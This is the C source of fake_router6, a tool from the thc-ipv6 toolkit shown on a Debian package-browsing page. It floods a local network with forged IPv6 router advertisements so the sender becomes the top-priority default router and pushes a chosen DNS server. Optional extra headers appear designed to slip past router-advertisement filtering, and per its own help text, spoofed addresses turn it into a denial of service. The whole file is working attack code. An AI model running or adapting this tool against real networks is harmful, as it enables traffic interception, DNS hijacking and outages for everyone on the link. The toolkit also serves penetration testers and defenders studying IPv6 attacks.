File: fake_router6.c

package info (click to toggle)
thc-ipv6 3.6-1
  • links: PTS, VCS
  • area: main
  • in suites: bullseye, buster, sid
  • size: 2,116 kB
  • sloc: ansic: 52,618; sh: 529; makefile: 77; perl: 34
file content (298 lines) | stat: -rw-r--r-- 9,444 bytes parent folder | download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"

char *frbuf, *frbuf2, *frint, buf3[1504];
int frbuflen, frbuf2len, do_hop = 0, do_frag = 0, do_dst = 0, type = NXT_ICMP6, myoff = 14;
unsigned char *frip6, *frmac;
thc_ipv6_hdr *frhdr = NULL;

void help(char *prg) {
  printf("%s %s (c) 2019 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
  printf("Syntax: %s [-HFD] interface network-address/prefix-length [dns-server [router-ip-link-local [mtu [mac-address]]]]\n\n", prg);
  printf("Announce yourself as a router and try to become the default router.\n");
  printf("If a non-existing link-local or mac address is supplied, this results in a DOS.\n");
  printf("Option -H adds hop-by-hop, -F fragmentation header and -D dst header.\n");
//  printf("Use -r to use raw mode.\n\n");
  exit(-1);
}

void send_rs_reply(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
  unsigned char *pkt = NULL, *dstmac = (unsigned char *) data + 6, *dst = (unsigned char *) data + 14 + 8, *ipv6hdr = (unsigned char *) (data + 14);

  int pkt_len = 0, cnt, i;

  if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERSOL || header->caplen < 14 + 40 + 2)
    return;

  if ((pkt = thc_create_ipv6_extended(frint, PREFER_LINK, &pkt_len, frip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
    return;
  if (do_hop) {
    type = NXT_HBH;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, frbuf2len) < 0)
      return;
  }
  if (do_frag) {
    type = NXT_FRAG;
    for (i = 0; i <= do_frag; i++)
      if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
        return;
  }
  if (do_dst) {
    if (type == NXT_ICMP6)
      type = NXT_DST;
    if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
      return;
  }
  if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, frbuf, frbuflen, 0) < 0)
    return;
  if (do_dst) {
    thc_generate_pkt(frint, frmac, dstmac, pkt, &pkt_len);
    frhdr = (thc_ipv6_hdr *) pkt;
    thc_send_as_fragment6(frint, frip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240);
  } else {
    if (thc_generate_and_send_pkt(frint, frmac, dstmac, pkt, &pkt_len) < 0)
      return;
  }
  pkt = thc_destroy_packet(pkt);
}


int main(int argc, char *argv[]) {
  char *routerip, *interface, mac[16] = "";
  unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
  unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2";
  unsigned char *dst = thc_resolve6("ff02::1");
  unsigned char *dstmac = thc_get_multicast_mac(dst);
  unsigned char *dns;
  int size, mtu = 1500, i, j, k, cnt;
  unsigned char *pkt = NULL;
  int pkt_len = 0;
  int rawmode = 0;
  pcap_t *p;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "FHDr")) >= 0) {
    switch (i) {
    case 'r':
      thc_ipv6_rawmode(1);
      rawmode = 1;
      break;
    case 'F':
      do_frag++;
      break;
    case 'H':
      do_hop = 1;
      break;
    case 'D':
      do_dst = 1;
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if (argc - optind < 2)
    help(argv[0]);

  if (do_hdr_size)
    myoff = do_hdr_size;
  frbuf = buf;
  frbuf2 = buf2;
  frbuf2len = sizeof(buf2);
  memset(mac, 0, sizeof(mac));
  interface = argv[optind];
  mtu = thc_get_mtu(interface);
  if (argc - optind >= 5)
    mtu = atoi(argv[optind + 4]);
  if (argc - optind >= 7 && (ptr = argv[optind + 5]) != NULL)
    sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
           (unsigned int *) &mac[5]);
  else
    mac6 = thc_get_own_mac(interface);

  if (argc - optind >= 4 && argv[optind + 3] != NULL)
    ip6 = thc_resolve6(argv[optind + 3]);
  else
    ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
  frip6 = ip6;
  frint = interface;
  frmac = mac6;

  if (argc - optind >= 4 && argv[optind + 2] != NULL)
    dns = thc_resolve6(argv[optind + 2]);
  else
    dns = thc_resolve6("ff02::fb");

  routerip = argv[optind + 1];
  if (routerip == NULL || (ptr = index(routerip, '/')) == NULL) {
    printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n");
    exit(-1);
  }
  *ptr++ = 0;
  size = atoi(ptr);

  routerip6 = thc_resolve6(routerip);
  route6 = thc_resolve6(routerip);

  if (routerip6 == NULL || size < 1 || size > 128) {
    fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[optind + 1]);
    exit(-1);
  }
  if (size < 48 || size > 64)
    fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your are doing: %d\n", size);
  if (dns == NULL) {
    fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[optind + 2]);
    exit(-1);
  }
  if (ip6 == NULL) {
    fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[optind + 3]);
    exit(-1);
  }
  if (mtu < 1 || mtu > 65536) {
    fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[optind + 4]);
    exit(-1);
  }
  if (mtu < 1228 || mtu > 1500)
    fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu);
  if (mac6 == NULL) {
    fprintf(stderr, "Error: mac address in invalid\n");
    exit(-1);
  }
  memset(buf, 0, sizeof(buf));
  memset(buf2, 0, sizeof(buf2));
  memset(buf3, 0, sizeof(buf3));

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  i = 128 - size;
  j = i / 8;
  k = i % 8;
  if (k > 0)
    j++;
  memset(route6 + 16 - j, 0, j);
  if (k > 0)
    route6[17 - j] = (route6[17 - j] >> (8 - k)) << (8 - k);

//  buf[3] = 250; // 0-3: reachable timer
  buf[6] = 4;                   // 4-7: retrans timer
  // option mtu
  buf[8] = 5;
  buf[9] = 1;
  buf[12] = mtu / 16777216;
  buf[13] = (mtu % 16777216) / 65536;
  buf[14] = (mtu % 65536) / 256;
  buf[15] = mtu % 256;
  // option prefix
  buf[16] = 3;
  buf[17] = 4;
  buf[18] = size;               // prefix length
  buf[19] = 128 + 64;
  memset(&buf[20], 17, 4);
  memset(&buf[24], 4, 4);
  memcpy(&buf[32], route6, 16);

  i = 48;
  // mac address option
  buf[i++] = 1;
  buf[i++] = 1;
  memcpy(buf + i, mac6, 6);
  i += 6;

  // default route routing option
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x00;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  i += 16;                      // 56-71 address, all zeros for default

  // specific route routing option 2000::/3
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x03;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x20;              // 56-71 address: 2000::
  i += 15;

  // specific route routing option 2000::/3
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x07;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0xfc;              // 56-71 address: fc::
  i += 15;

  // dns option
  buf[i++] = 0x19;              // dns option type
  buf[i++] = 0x03;              // length
  i += 2;                       // 74-75 reserved
  memset(buf + i, 1, 4);        // validity time
  i += 4;
  memcpy(buf + i, dns, 16);     // dns server
  i += 16;

  frbuflen = i;

  if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
    return -1;

  if (do_hop) {
    type = NXT_HBH;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
      return -1;
  }
  if (do_frag) {
    type = NXT_FRAG;
    for (i = 0; i <= do_frag; i++)
      if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
        return -1;
  }
  if (do_dst) {
    if (type == NXT_ICMP6)
      type = NXT_DST;
    if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
      return -1;
  }
  if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
    return -1;
  if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
    return -1;
  frhdr = (thc_ipv6_hdr *) pkt;

  // init pcap

  printf("Starting to advertise router %s (Press Control-C to end) ...\n", argv[optind + 1]);
  while (1) {
    if (do_dst) {
      thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240);
    } else {
      thc_send_pkt(interface, pkt, &pkt_len);
    }
    while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
    sleep(5);
  }
  return 0;
}